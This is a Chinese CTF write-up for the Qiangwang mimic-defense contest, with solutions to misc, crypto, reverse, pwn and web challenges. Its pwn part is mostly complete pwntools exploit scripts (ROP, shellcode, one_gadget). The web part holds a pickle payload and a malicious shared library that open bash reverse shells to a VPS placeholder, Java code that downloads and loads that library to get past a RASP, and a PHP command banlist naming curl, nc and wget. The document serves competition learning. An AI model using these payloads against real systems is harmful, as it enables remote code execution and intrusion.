第七届“强网”拟态防御国际精英挑战赛决赛WP
初赛
Misc
ezflag
打开流量包,发现有两个包里面内容可以组成一个压缩包
把得到的压缩包里面的flag.zip解压出来,发现其实是PNG图片
PvZ
打开压缩包看到给了一张植物大战僵尸的游戏截图,还有一个txt
另一个压缩包密码是花了多少钱的md5值
选择直接爆破price,得到price是738
里面有两个残缺的二维码图片
修一下:
扫一下:
D'`_q^K![YG{VDTveRc10qpnJ+*)G!~f1{d@-}v<)9xqYonsrqj0hPlkdcb(`Hd]#a`_A@VzZY;Qu8NMqKPONGkK-,BGF?cCBA@">76Z:321U54-21*Non,+*#G'&%$d"y?w_uzsr8vunVrk1ongOe+ihgfeG]#[ZY^W\UZSwWVUNrRQ3IHGLEiCBAFE>=aA:9>765:981Uvu-2+O/.nm+$Hi'~}|B"!~}|u]s9qYonsrqj0hmlkjc)gIedcb[!YX]\UZSwWVUN6LpP2HMFEDhHG@dDCBA:^!~<;:921U/u3,+*Non&%*)('&}C{cy?}|{zs[q7unVl2ponmleMib(fHG]b[Z~k
不知道是啥玩意,看到有一个二维码图片名字是M41b0lg3,找到了一个叫Malbolge的编程语言
参考https://hasegawaazusa.github.io/malbolge-language-note.html直接运行一下
PWN
signin
from pwn import *
from pwnlib.dynelf import ctypes
from pwnlib.fmtstr import make_atoms_simple
from ctypes import *
context(arch="amd64", os="linux", log_level="debug")
context.terminal = ["tmux", "split", "-h"]
binary_path = "./signin_t/vuln"
libc_path = "./signin_t/libc.so.6"
rop = ROP(binary_path)
elf = ELF(binary_path)
libc = ELF(libc_path)
libc_dll = cdll.LoadLibrary(libc_path)
libc_dll.srand(0)
local = 1
ip, port = "61.147.171.105", 29144
if local == 0:
p = process(binary_path)
dbg = lambda p: gdb.attach(p)
else:
p = remote("pwn-5419033d36.challenge.xctf.org.cn", 9999, ssl=True)
dbg = lambda _: None
ls = lambda addr: log.success(hex(addr))
recv = lambda char: u64(p.recvuntil(char, drop=True).ljust(8, b"\0"))
# __libc_start_main
csu_start = 0x0401870
def csu(edi=0, rsi=0, rdx=0, r12=0, start=csu_start, mode=0):
end = start + 0x1A
payload = p64(end)
payload += p64(0) # rbx
payload += p64(1) # rbp
if mode == 0:
payload += p64(r12) # r12
payload += p64(edi) # edi
payload += p64(rsi) # rsi
payload += p64(rdx) # rdx
else:
payload += p64(edi) # r12
payload += p64(rsi) # edi
payload += p64(rdx) # rsi
payload += p64(r12) # rdx
payload += p64(start)
payload += b"a" * 56
return payload
# =================start=================#
payload = p64(0) * 2 + b"\x00\x00"
p.send(payload)
for i in range(100):
res = libc_dll.rand() % 100 + 1
p.sendafter(b"code:\n", p8(res))
p.sendafter(b">>", b"\x01")
p.sendafter(b"Index: \n", b"\x01")
p.sendafter(b"Note: \n", b"aaaabbbb")
puts_plt = elf.plt.puts
puts_got = elf.got.puts
vuln_addr = elf.sym.o_O
read_addr = 0x4013CF
pop_rdi = 0x0000000000401893
lev_ret = 0x00000000004013BE
ret_addr = 0x000000000040101A
payload = b"a" * 0x108
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(vuln_addr)
sleep(0.5)
p.send(payload)
libc_base = recv(b"\n") - libc.sym.puts
mprotect_addr = libc_base + libc.sym.mprotect
sleep(0.5)
bss_addr = 0x404500
payload = b"a" * 0x100
payload += p64(bss_addr)
payload += p64(read_addr)
p.send(payload)
shell = """
mov rax, 2;
mov rcx, 0x67616c662f2e;
push rcx;
mov rdi, rsp;
xor rsi, rsi;
syscall;
mov rdi, rax;
xor rax, rax;
mov rsi, 0x404600;
mov rdx, 0x50;
xor rax, rax;
syscall;
xor rax, rax;
inc rax;
mov rsi, 0x404600;
mov rdx, 0x50;
mov rdi, 1;
syscall;
"""
dbg(p)
ls(libc_base)
sleep(0.5)
payload = csu(edi=0x404000, rsi=0x1000, rdx=0x7, r12=0x404510, mode=1)
payload += p64(0x404480)
payload += asm(shell)
payload = payload.ljust(0x100, b"x")
payload += p64(bss_addr - 0x108)
payload += p64(lev_ret)
payload += p64(mprotect_addr)
p.send(payload)
p.interactive()
首先有个猜随机数的可以覆写种子绕过,之后有一个类似堆的东西,事实上是栈溢出,和堆一点关系都没有。有个沙箱,直接栈迁移➕mprotect然后写入shellcode,打orw.
signin_revenge
from pwn import *
from pwnlib.dynelf import ctypes
from pwnlib.fmtstr import make_atoms_simple
from ctypes import *
context(arch="amd64", os="linux", log_level="debug")
context.terminal = ["tmux", "split", "-h"]
binary_path = "./signin/vuln"
libc_path = "./signin/libc.so.6"
rop = ROP(binary_path)
elf = ELF(binary_path)
libc = ELF(libc_path)
libc_dll = cdll.LoadLibrary(libc_path)
local = 1
ip, port = "pwn-f2237b44a0.challenge.xctf.org.cn", 9999
if local == 0:
p = process(binary_path)
dbg = lambda p: gdb.attach(p)
else:
p = remote("pwn-16186d9a30.challenge.xctf.org.cn", 9999, ssl=True)
dbg = lambda _: None
ls = lambda addr: log.success(hex(addr))
recv = lambda char: u64(p.recvuntil(char, drop=True).ljust(8, b"\0"))
# __libc_start_main
csu_start = 0x401370
def csu(edi=0, rsi=0, rdx=0, r12=0, start=csu_start, mode=0):
end = start + 0x1A
payload = p64(end)
payload += p64(0) # rbx
payload += p64(1) # rbp
if mode == 0:
payload += p64(r12) # r12
payload += p64(edi) # edi
payload += p64(rsi) # rsi
payload += p64(rdx) # rdx
else:
payload += p64(edi) # r12
payload += p64(rsi) # edi
payload += p64(rdx) # rsi
payload += p64(r12) # rdx
payload += p64(start)
payload += b"a" * 56
return payload
def sig(rax=0, rdi=0, rsi=0, rdx=0, rsp=0, rip=0):
sigframe = SigreturnFrame()
sigframe.rax = rax
sigframe.rdi = rdi # "/bin/sh" 's addr
sigframe.rsi = rsi
sigframe.rdx = rdx
sigframe.rsp = rsp
sigframe.rip = rip
return bytes(sigframe)
# =================start=================#
puts_plt = elf.plt.puts
puts_got = elf.got.puts
vuln_addr = elf.sym.vuln
read_addr = 0x000000004012CF
pop_rdi = 0x0000000000401393
lev_ret = 0x00000000004012BE
ret_addr = 0x000000000040101A
payload = b"a" * 0x108
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(vuln_addr)
p.sendafter(b"pwn!\n", payload)
libc_base = recv(b"\n") - libc.sym.puts
mprotect_addr = libc_base + libc.sym.mprotect
sleep(0.5)
bss_addr = 0x404500
payload = b"a" * 0x100
payload += p64(bss_addr)
payload += p64(read_addr)
p.send(payload)
shell = """
mov rax, 2;
mov rcx, 0x67616c662f2e;
push rcx;
mov rdi, rsp;
xor rsi, rsi;
syscall;
mov rdi, rax;
xor rax, rax;
mov rsi, 0x404600;
mov rdx, 0x50;
xor rax, rax;
syscall;
xor rax, rax;
inc rax;
mov rsi, 0x404600;
mov rdx, 0x50;
mov rdi, 1;
syscall;
"""
dbg(p)
ls(libc_base)
sleep(0.5)
payload = csu(edi=0x404000, rsi=0x1000, rdx=0x7, r12=0x404510, mode=1)
payload += p64(0x404480)
payload += asm(shell)
payload = payload.ljust(0x100, b"x")
payload += p64(bss_addr - 0x108)
payload += p64(lev_ret)
payload += p64(mprotect_addr)
p.send(payload)
p.interactive()
就是把signin中的栈溢出函数单独弄了出来,沙箱都是一模一样的。虽然读入内容少了,但还是能够栈迁移。和上一题做法一样。
QWEN
from pwn import *
from pwnlib.dynelf import ctypes
from pwnlib.fmtstr import make_atoms_simple
from ctypes import *
context(arch="amd64", os="linux", log_level="debug")
context.terminal = ["tmux", "split", "-h"]
binary_path = "./QWEN/pwn1"
libc_path = "./QWEN/libc.so.6"
rop = ROP(binary_path)
elf = ELF(binary_path)
libc = ELF(libc_path)
local = 1
ip, port = "61.147.171.105", 29144
# ip, port = "chall.pwnable.tw", 1
if local == 0:
p = process(binary_path)
dbg = lambda p: gdb.attach(p)
else:
p = remote("pwn-deb19cee97.challenge.xctf.org.cn", 9999, ssl=True)
dbg = lambda _: None
ls = lambda addr: log.success(hex(addr))
recv = lambda char: u64(p.recvuntil(char, drop=True).ljust(8, b"\0"))
def search_from_libc(func_name: str, func_addr: int, libc=libc):
log.success(func_name + ": " + hex(func_addr))
offset = func_addr - libc.symbols[func_name]
binsh = offset + libc.search(b"/bin/sh").__next__()
system = offset + libc.symbols["system"]
log.success("offset: " + hex(offset))
return (system, binsh)
# __libc_start_main
csu_start = 0x0
def csu(edi=0, rsi=0, rdx=0, r12=0, start=csu_start, mode=0):
end = start + 0x1A
payload = p64(end)
payload += p64(0) # rbx
payload += p64(1) # rbp
if mode == 0:
payload += p64(r12) # r12
payload += p64(edi) # edi
payload += p64(rsi) # rsi
payload += p64(rdx) # rdx
else:
payload += p64(edi) # r12
payload += p64(rsi) # edi
payload += p64(rdx) # rsi
payload += p64(r12) # rdx
payload += p64(start)
payload += b"a" * 56
return payload
# =================start=================#
p.sendlineafter(b"\xef\xbc\x9a", b"0 0")
p.sendlineafter(b"\xef\xbc\x9a", b"1 1")
p.sendlineafter(b"\xef\xbc\x9a", b"2 2")
p.sendlineafter(b"\xef\xbc\x9a", b"3 3")
p.sendlineafter(b"\xef\xbc\x9a", b"4 4")
payload = b"a" * 0x8 + b"\x08\x15"
p.sendafter(b"say?", payload)
p.sendlineafter(b"[Y/N]\n", b"N")
p.sendlineafter(b"\xef\xbc\x9a", b"999 999")
p.sendlineafter(b" key\n", str(0x6B8B4567).encode())
p.sendlineafter(b"in!\n", b"/proc/self/maps")
p.recvlines(2)
text_base = int(p.recvuntil(b"-", drop=True), 16)
p.recvlines(3)
libc_base = int(p.recvuntil(b"-", drop=True), 16)
p.recvuntil(b"[vdso]\n")
stack_addr = int(p.recvuntil(b"-", drop=True), 16)
p.sendlineafter(b"\xef\xbc\x9a", b"0 0")
p.sendlineafter(b"\xef\xbc\x9a", b"1 1")
p.sendlineafter(b"\xef\xbc\x9a", b"2 2")
p.sendlineafter(b"\xef\xbc\x9a", b"3 3")
p.sendlineafter(b"\xef\xbc\x9a", b"4 4")
one = [0x4F29E, 0x4F2A5, 0x4F302, 0x10A2FC]
payload = b"a" * 0x8 + p64(one[3] + libc_base) + p64(0) * 4
p.sendafter(b"say?", payload)
p.sendlineafter(b"[Y/N]\n", b"N")
p.sendlineafter(b"\xef\xbc\x9a", b"512 256")
"""
find / -user root -perm -4000-print2>/dev/null
0x4f29e execve("/bin/sh", rsp+0x40, environ)
constraints:
address rsp+0x50 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
address rsp+0x50 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, rax, r12, NULL} is a valid argv
0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv
0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
"""
p.interactive()
下五子棋,只要自己有五个能连成一块的就可以拿到一次输入机会(对方怎么样不管),输入可以覆写栈上的一个用于处理错误输入的函数指针。程序还有一个admin函数提供限制文件名的读文件(flag的g被过滤了)然后返回main。partial overwrite爆破该指针指向admin函数之后读取/proc/self/maps,直接拿到libc地址,之后覆写函数指针为one gadget,正好有一个可以构造满足条件。拿到shell后只能用pwn2来读flag,输入指令./pwn2 -c aaa ./flag之后cat ./aaa拿到flag
ezcode
from pwn import *
# from LibcSearcher import *
from pwnlib.adb import shell
from pwnlib.dynelf import ctypes
from pwnlib.fmtstr import make_atoms_simple
from ctypes import *
context(arch="amd64", os="linux", log_level="debug")
context.terminal = ["tmux", "split", "-h"]
binary_path = "./bin/ezcode"
libc_path = "/home/NazrinDuck/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so"
elf = ELF(binary_path)
libc = ELF(libc_path)
local = 1
ip, port = "61.147.171.105", 29144
# ip, port = "chall.pwnable.tw", 1
if local == 0:
p = process(binary_path)
dbg = lambda p: gdb.attach(p)
else:
p = remote("pwn-36f53f067e.challenge.xctf.org.cn", 9999, ssl=True)
dbg = lambda _: None
ls = lambda addr: log.success(hex(addr))
recv = lambda char: u64(p.recvuntil(char, drop=True).ljust(8, b"\0"))
# =================start=================#
shellcode = """
mov rsp, 0x9998200;
mov rax, 2;
mov rcx, 0x67616c662f2e;
push rcx;
mov rdi, rsp;
xor rsi, rsi;
syscall;
mov rsi, rax;
xor rdi, rdi;
inc rdi;
push 0;
mov rdx, rsp;
mov r10, 0x100;
mov rax, 40;
syscall;
"""
"""
00000000: 4c87 ff66 ba07 0066 b80a 000f 0599 31c0 L..f...f......1.
00000010: 87ce 31ff 0f05 ..1...
4c87ff66ba070066b80a000f059931c087ce31ff0f05
xchg rdi, r15;
mov dx, 0x7;
mov ax, 10;
syscall;
cdq;
xor eax, eax;
xchg esi, ecx;
xor edi, edi;
syscall;
"""
dbg(p)
payload = b"""{"shellcode":"4c87ff66ba070066b80a000f059931c087ce31ff0f05"}"""
p.sendline(payload)
sleep(2)
p.send(b"\x00" * 9 + asm(shellcode))
p.interactive()
沙箱shellcode题,沙箱只限制了execve/execveat。用json格式输入机器码转化为十六进制的字符串,限制该字符串长度小于44,即原机器码长度小于22.由于在copy之后把机器码地址的写权限关掉了,我们首先需要增加机器码地址的写权限,然后用read再往里边写机器码。用xchg,xor,和cdq可以以非常短的方式构造满足的shellcode, 可以往机器码地址附近输入很长的内容,之后就输入padding+open+sendfile拿到flag.
guestbook
from pwn import *
from pwnlib.dynelf import ctypes
from pwnlib.fmtstr import make_atoms_simple
from ctypes import *
context(arch="amd64", os="linux", log_level="debug")
context.terminal = ["tmux", "split", "-h"]
binary_path = "./guestbook/pwn"
libc_path = "./guestbook/libc.so.6"
rop = ROP(binary_path)
elf = ELF(binary_path)
libc = ELF(libc_path)
libc_dll = cdll.LoadLibrary(libc_path)
local = 1
if local == 0:
p = process(binary_path)
dbg = lambda p: gdb.attach(p)
else:
p = remote("pwn-2e5d3b8445.challenge.xctf.org.cn", 9999, ssl=True)
dbg = lambda _: None
ls = lambda addr: log.success(hex(addr))
recv = lambda char: u64(p.recvuntil(char, drop=True).ljust(8, b"\0"))
# __libc_start_main
# =================start=================#
# > 0x500
def add(idx, size):
p.sendlineafter(b">", b"1")
p.sendlineafter(b"index\n", str(idx).encode())
p.sendlineafter(b"size\n", str(size).encode())
def edit(idx, content):
p.sendlineafter(b">", b"2")
p.sendlineafter(b"index\n", str(idx).encode())
p.sendafter(b"content\n", content)
def delete(idx):
p.sendlineafter(b">", b"3")
p.sendlineafter(b"index\n", str(idx).encode())
def show(idx):
p.sendlineafter(b">", b"4")
p.sendlineafter(b"index\n", str(idx).encode())
add(0, 0x500)
add(9, 0x500)
add(10, 0x500)
add(12, 0x500)
add(14, 0x500)
edit(-4, b"aaaabbb|")
show(-4)
p.recvuntil(b"|")
libc_base = recv(b"\n") - 0x21B723
environ = libc_base + libc.sym.environ
sys = libc.sym.system + libc_base
binsh = libc_base + libc.search(b"/bin/sh").__next__()
pop_rdi = 0x000000000002A3E5 + libc_base
ret = 0x00000000000F410B + libc_base
"""
0x000000000002a3e5: pop rdi; ret;
0x00000000000f410b: ret;
"""
show(-11)
bss_base = recv(b"\n") - 0x8
edit(-11, p64(bss_base))
edit(-11, p64(environ))
show(-12)
stack_addr = recv(b"\n")
ret_addr = stack_addr - 0x140
edit(-11, p64(ret_addr))
# dbg(p)
edit(-12, p64(ret) + p64(pop_rdi) + p64(binsh) + p64(sys))
ls(stack_addr)
ls(libc_base)
ls(bss_base)
p.interactive()
高版本堆,但和堆一点关系都没有。heapsize与heaparray挨着,没有限制越界读写,直接改stderr然后读泄漏libc基地址。bss上有一个指向自己的指针,任意读可得bss基地址,任意写该指针为bss段上某个地址,利用这条链可以完成任意读写。任意读environ得栈地址计算得返回地址,然后往返回地址写ROP链,最后成功getshell
Web
capoo
抓包,发现capoo参数可以路径穿越,读取showpic.php:
<?php
class CapooObj {
public function __wakeup()
{
$action = $this->action;
$action = str_replace("\"", "", $action);
$action = str_replace("\'", "", $action);
$banlist = "/(flag|php|base|cat|more|less|head|tac|nl|od|vi|sort|uniq|file|echo|xxd|print|curl|nc|dd|zip|tar|lzma|mv|www|\~|\`|\r|\n|\t|\ |\^|ls|\.|tail|watch|wget|\||\;|\:|\(|\)|\{|\}|\*|\?|\[|\]|\@|\\|\=|\<)/i";
if(preg_match($banlist, $action)){
die("Not Allowed!");
}
system($this->action);
}
}
header("Content-type:text/html;charset=utf-8");
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['capoo'])) {
$file = $_POST['capoo'];
if (file_exists($file)) {
$data = file_get_contents($file);
$base64 = base64_encode($data);
} else if (substr($file, 0, strlen("http://")) === "http://") {
$data = file_get_contents($_POST['capoo'] . "/capoo.gif");
if (strpos($data, "PILER") !== false) {
die("Capoo piler not allowed!");
}
file_put_contents("capoo_img/capoo.gif", $data);
die("Download Capoo OK");
} else {
die('Capoo does not exist.');
}
} else {
die('No capoo provided.');
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Display Capoo</title>
</head>
<body>
<img style='display:block; width:100px;height:100px;' id='base64image'
src='data:image/gif;base64, <?php echo $base64;?>' />
</body>
</html>
发现其实是任意文件读取
下一步应该是打phar反序列化,结果发现start.sh没删。。。
直接读flag就行了
ez_picker
给源码了:
from sanic import Sanic
from sanic.response import json,file as file_,text,redirect
from sanic_cors import CORS
from key import secret_key
import os
import pickle
import time
import jwt
import io
import builtins
app = Sanic("App")
pickle_file = "data.pkl"
my_object = {}
users = []
safe_modules = {
'math',
'datetime',
'json',
'collections',
}
safe_names = {
'sqrt', 'pow', 'sin', 'cos', 'tan',
'date', 'datetime', 'timedelta', 'timezone',
'loads', 'dumps',
'namedtuple', 'deque', 'Counter', 'defaultdict'
}
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in safe_modules and name in safe_names:
return getattr(builtins, name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
CORS(app, supports_credentials=True, origins=["http://localhost:8000", "http://127.0.0.1:8000"])
class User:
def __init__(self,username,password):
self.username=username
self.password=password
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
def token_required(func):
async def wrapper(request, *args, **kwargs):
token = request.cookies.get("token")
if not token:
return redirect('/login')
try:
result=jwt.decode(token, str(secret_key), algorithms=['HS256'], options={"verify_signature": True})
except jwt.ExpiredSignatureError:
return json({"status": "fail", "message": "Token expired"}, status=401)
except jwt.InvalidTokenError:
return json({"status": "fail", "message": "Invalid token"}, status=401)
print(result)
if result["role"]!="admin":
return json({"status": "fail", "message": "Permission Denied"}, status=401)
return await func(request, *args, **kwargs)
return wrapper
@app.route('/', methods=["GET"])
def file_reader(request):
file = "app.py"
with open(file, 'r') as f:
content = f.read()
return text(content)
@app.route('/upload', methods=["GET","POST"])
@token_required
async def upload(request):
if request.method=="GET":
return await file_('templates/upload.html')
if not request.files:
return text("No file provided", status=400)
file = request.files.get('file')
file_object = file[0] if isinstance(file, list) else file
try:
new_data = restricted_loads(file_object.body)
try:
my_object.update(new_data)
except:
return json({"status": "success", "message": "Pickle object loaded but not updated"})
with open(pickle_file, "wb") as f:
pickle.dump(my_object, f)
return json({"status": "success", "message": "Pickle object updated"})
except pickle.UnpicklingError:
return text("Dangerous pickle file", status=400)
@app.route('/register', methods=['GET','POST'])
async def register(request):
if request.method=='GET':
return await file_('templates/register.html')
if request.json:
NewUser=User("username","password")
merge(request.json, NewUser)
users.append(NewUser)
else:
return json({"status": "fail", "message": "Invalid request"}, status=400)
return json({"status": "success", "message": "Register Success!","redirect": "/login"})
@app.route('/login', methods=['GET','POST'])
async def login(request):
if request.method=='GET':
return await file_('templates/login.html')
if request.json:
username = request.json.get("username")
password = request.json.get("password")
if not username or not password:
return json({"status": "fail", "message": "Username or password missing"}, status=400)
user = next((u for u in users if u.username == username), None)
if user:
if user.password == password:
data={"user":username,"role":"guest"}
data['exp'] = int(time.time()) + 60 *5
token = jwt.encode(data, str(secret_key), algorithm='HS256')
response = json({"status": "success", "redirect": "/upload"})
response.cookies["token"]=token
response.headers['Access-Control-Allow-Origin'] = request.headers.get('origin')
return response
else:
return json({"status": "fail", "message": "Invalid password"}, status=400)
else:
return json({"status": "fail", "message": "User not found"}, status=404)
return json({"status": "fail", "message": "Invalid request"}, status=400)
if __name__ == '__main__':
app.run(host="0.0.0.0", port=8000)
应该先是原型链污染,改jwt的密钥,然后pickle反序列化命令执行
原型链污染:
把密钥改成abc
然后注册一个用户,伪造jwt
发现pickle反序列化给了个白名单,不太会用,但也可以污染,换成自己想要的:
然后pickle反序列化getshell就很简单了
参考这个https://xz.aliyun.com/t/7436
exp = b'''cbuiltins
getattr
p0
(cbuiltins
dict
S'get'
tRp1
cbuiltins
globals
)Rp2
00g1
(g2
S'builtins'
tRp3
0g0
(g3
S'eval'
tR(S'__import__("os").system("bash -c 'bash -i >& /dev/tcp/VPS-IP/VPS-PORT 0>&1'")'
tR.
'''
with open('exp.pkl', 'wb') as f:
f.write(exp)
OnlineRunner
给了一个在线运行Java代码的网站,通过报错看到已经把函数名写好了:
想用反射获取unsafe,发现是JDK17,需要先绕过限制,参考https://xz.aliyun.com/t/15035
然后使用JNI绕过RASP,参考https://ko1sh1.github.io/2024/03/25/blog_java%20Rasp%E7%9A%84%E5%AE%9E%E7%8E%B0%E4%B8%8E%E7%BB%95%E8%BF%87和https://www.cnblogs.com/nice0e3/p/14067160.html写一个evil.c文件:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
system("bash -c 'bash -i >& /dev/tcp/VPS-IP/VPS-PORT 0>&1'");
}
在linux上编译:
gcc -shared -fPIC evil.c -o evil.so
在VPS开一个下载evil.so的网站,再监听一个反弹shell
然后执行下面的代码
try (java.io.InputStream in = new java.net.URL("http://VPS-IP/evil.so").openStream();
java.io.FileOutputStream out = new java.io.FileOutputStream("/tmp/evil.so")) {
byte[] buf = new byte[8192];
int bytesRead;
while ((bytesRead = in.read(buf)) != -1) {
out.write(buf, 0, bytesRead);
}
Class unsafeClass = Class.forName("sun.misc.Unsafe");
java.lang.reflect.Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
sun.misc.Unsafe unsafe = (sun.misc.Unsafe) field.get(null);
Module baseModule = Object.class.getModule();
Class currentClass = Main.class;
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass, addr, baseModule);
Class nativeLibraryClass = Class.forName("jdk.internal.loader.NativeLibraries");
Class nativeLibraryImplClass = Class.forName("jdk.internal.loader.NativeLibraries$NativeLibraryImpl");
java.lang.reflect.Method load = nativeLibraryClass.getDeclaredMethod("load", nativeLibraryImplClass, String.class, boolean.class, boolean.class, boolean.class);
load.setAccessible(true);
Object nativeLibraryObj = unsafe.allocateInstance(nativeLibraryClass);
load.invoke(nativeLibraryObj, null, "/tmp/evil.so", false, true, true);
} catch (Exception e) {
throw new RuntimeException(e);
}
Crypto
xor
ls='0b050c0e180e585f5c52555c5544545c0a0f44535f0f5e445658595844050f5d0f0f55590c555e5a0914'
key=list('mimic')
for i in range(len(ls)//2):
print(chr(ord(key[i%5])^int(ls[2*i:2*i+2],16)),end='')
#flag{c1251858-71cb-02f3-5505-fb4bf64e879d}
Reverse
Serv1ce
用jadx打开,得到三个主要的部分
MainActivity申明了两个按钮的click事件,点击input按钮时会解密两段字符串,check也是一样的功能,同时input还会将文本框中的内容传到intent。
input解密出来是开始服务,check则是终止,调用的是myclass里的函数。
import base64
def ksa(s):
ls=[i for i in range(256)]
j=0
for i in range(len(ls)):
j=(j+ls[i]+ord(s[i%len(s)]))%256
ls[i],ls[j]=ls[j],ls[i]
return ls
def rpga(ls,n):
ll=[0]*n
i2,i3=0,0
for i in range(n):
i2=(i2+1)%256
i3=(i3+ls[i2])%256
ls[i2],ls[i3]=ls[i3],ls[i2]
ll[i]=(ls[(ls[i2]+ls[i3])%256])%256
return ll
def decode(s):
ss=base64.b64decode(s)
key="k3ykeyk3ykey"
charr=rpga(ksa(key),len(ss))
for i in range(len(ss)):
print(chr(ss[i]^charr[i]),end='')
decode("RtHTxaKcRXIdES5ktXugN2ww1d91EMp/QOxAh8bV")
# android.content.ContextWrapper
print()
decode("VMvWxbmmRC4IFyN1")
# startService
print()
decode("VMvYx56QUyoXHSU=")
# stopService
MyService则是主要处理部分,定义了key和num,其中,num会随着点击input按钮的次数改变而改变,每次都会生成相同的密钥数组,而check函数则是调用了native层。
将libServ1ce.so拖入IDA,查看check函数,输入内容的长度是36,将密钥和输入值依次异或后再乘上num与cmp数组比较。
由于长度是36,故猜测输入值是flag{}里面的内容,其中第8位和第13位等是'-',求出num的逆元即可。
cmp=[0xB9,0x32,0xC2,0xD4,0x69,0xD5,0xCA,0xFB,0xF8,0xFB,0x80,0x7C,0xD4,0xE5,0x93,0xD5,0x1C,0x8B,0xF8,0xDF,0xDA,0xA1,0x11,0xF8,0xA1,0x93,0x93,0xC2,0x7C,0x8B,0x1C,0x66,0x01,0x3D,0xA3,0x67]
key="1liIl11lIllIIl11llII"
num=9
keyarray=[0]*36
for i in range(36):
keyarray[i]=(ord(key[i%len(key)])-0x77^23)&255
while(1):
count=0
if((num*(ord('-')^keyarray[8]))%256==cmp[8]):
break
num+=1
for numre in range(256):
if((numre*num)%256==1):
break
print('flag{',end='')
for i in range(len(cmp)):
print(chr(((numre*cmp[i])^keyarray[i])%256),end='')
print('}')
#flag{f4c99233-3b19-426c-8ca6-a44d1c67f5d8}
A_game
这个程序是一个吃豆人游戏,打开ida,能在主界面的退出逻辑中找到一个退出时执行的函数
主要逻辑是从注册表中读 Myflag
这个值,读取到后判断长度等于36,之后读取 game.data
转移到 game.tmp
经过处理存到 game.ps1
,之后执行 game.ps1
,删除脚本,将remove函数nop掉,得到game.ps1
由很长字符串组成,去除运行解码脚本,得到
脚本经过混淆,将脚本去混淆,得到
function enenenenene {
param(
$plaintextBytes,
$keyBytes
)
$S = 0..255
$j = 0
for ($i = 0; $i -lt 256; $i++) {
$j = ($j + $S[$i] + $keyBytes[$i % $keyBytes.Length]) % 256
$temp = $S[$i]
$S[$i] = $S[$j]
$S[$j] = $temp
}
$i = 0
$j = 0
$ciphertextBytes = @()
for ($k = 0; $k -lt $plaintextBytes.Length; $k++) {
$i = ($i + 1) % 256
$j = ($j + $S[$i]) % 256
$temp = $S[$i]
$S[$i] = $S[$j]
$S[$j] = $temp
$t = ($S[$i] + $S[$j]) % 256
$ciphertextBytes += ($plaintextBytes[$k] -bxor $S[$t])
}
return $ciphertextBytes
}
function enenenenene1 {
param(
$inputbyte
)
$key = @(0x70, 0x6f, 0x77, 0x65, 0x72)
$encryptedText = @();
for ($k = 0; $k -lt $inputbyte.Length; $k++) {
$encryptedText = enenenenene -plaintextBytes $inputbyte -keyBytes $key;
$key = enenenenene -plaintextBytes $key -keyBytes $encryptedText;
}
return $encryptedText + $key;
}
function enenenenene2 {
param(
$inputbyte
)
$key = @(0x70, 0x30, 0x77, 0x65, 0x72)
for ($k = 0; $k -lt $inputbyte.Length; $k++) {
$inputbyte[$k] = $inputbyte[$k] + $key[$k % $key.Length]
}
return $inputbyte;
}
function enenenenene3 {
param(
$inputbyte
)
$key = @(0x70, 0x30, 0x77, 0x33, 0x72)
for ($k = 0; $k -lt $inputbyte.Length; $k++) {
$inputbyte[$k] = $inputbyte[$k] * $key[$k % $key.Length]
}
return $inputbyte;
}
$registryPath = 'HKCU:\Software\PacManX'
$valueName = 'MYFLAG'
$value = Get-ItemPropertyValue $registryPath $valueName
$plaintext = @($value) | ForEach-Object {
$input = $_
$plaintext = @()
for ($i = 0; $i -lt $input.Length; $i++) {
$plaintext += [int][char]$input[$i]
}
$plaintext
}
if ($plaintext.Length -ne 36) {
Set-Content -Path "log.txt" -Value "ERROR"
exit
}
$encrypted1Text = enENenenene2 -inputbyte (enenenENene2 -inputbyte (enenenenene3 -inputbyte (Enenenenene2 -inputbyte (enenenenene2 -inputbyte (enenenenene2 -inputbyte (enenenenene1 -input $plaintext))))))
$result = @(38304, 8928, 43673, 25957 , 67260, 47152, 16656, 62832 , 19480 , 66690, 40432, 15072 , 63427 , 28558 , 54606, 47712 , 18240 , 68187 , 18256, 63954 , 48384, 14784, 60690 , 21724 , 53238 , 64176 , 9888 , 54859 , 23050 , 58368 , 46032 , 15648 , 64260 , 17899 , 52782 , 51968 , 12336 , 69377 , 27844 , 43206 , 63616)
for ($k = 0; $k -lt $result.Length; $k++) {
if ($encrypted1Text[$k] -ne $result[$k]) {
Set-Content -Path "log.txt" -Value "ERROR"
exit
}
Set-Content -Path "log.txt" -Value "RIGHT"
可以发现enenenenen函数是ksa+rpga,enenenenen1则是调用了前者对输入和key进行反复加密(加密Key的部分密钥不变),enenenenen2是一个加法操作,enenenenen3则是乘法操作,逆推即可。
key1 = [0x70, 0x6f, 0x77, 0x65, 0x72]
key2 = [0x70, 0x30, 0x77, 0x65, 0x72]
key3 = [0x70, 0x30, 0x77, 0x33, 0x72]
